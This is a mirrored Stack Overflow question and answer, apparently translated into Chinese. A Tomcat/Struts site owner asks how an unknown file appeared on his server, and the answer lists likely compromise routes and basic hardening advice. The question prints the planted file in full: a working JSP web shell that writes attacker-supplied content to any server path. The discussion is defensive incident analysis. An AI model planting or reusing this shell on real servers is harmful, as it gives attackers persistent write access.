这是一个用于在我的-6ren">
gpt4 book ai didi

java - 为什么服务器上出现上传的未知文件?

转载 作者:行者123 更新时间:2023-11-29 08:56:00 26 4
gpt4 key购买 nike

我有一个由 Tomcat 7.0.42 提供服务的 Struts 2 Web 应用程序。我最近发现我还没有上传的文件。这里我举个例子

<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter("act");
if(method!=null&&method.equals("yoco")){
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>0<%
}
}
if(i==0){
%>1<%}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">

这是一个用于在我的服务器上写入文件的小型 JSP。几天前,他们获得了 shell 的访问权限,但由于某种 DDoS 攻击,所有服务器都宕机了。

我真的很想知道他们如何在我的服务器上写入文件。我有一些与用户交互的表单,但所有字段都受正则表达式限制,我使用准备好的语句来访问我的数据库。如果您想“实际”查看问题 (link)

非常感谢任何帮助。谢谢!

最佳答案

很明显,这是一些恶意用户/黑客上传的后门。

为什么该文件最终出现在那里可能有以下几个原因:

  • 黑客可以访问您的 FTP/SSH(尝试更改用户)
  • 如果您有一些“公共(public)上传文件”功能,则可能容易让用户上传他们想要的任何内容。
  • 您的系统中有一些远​​程代码执行。
  • SQL 注入(inject)漏洞,他们能够从您的数据库中检索密码以访问某种管理面板,这些面板赋予他们上传文件的权限,或者根据数据库和数据库用户权限,他们甚至可以使用查询写入文件.

我的建议:

  • 更新您的软件(框架、CMS、网络服务器、操作系统、API 等)。
  • 如果您有专有代码,请对其进行一些听取并寻找漏洞。

祝你好运!

关于java - 为什么服务器上出现上传的未知文件?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/20252529/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com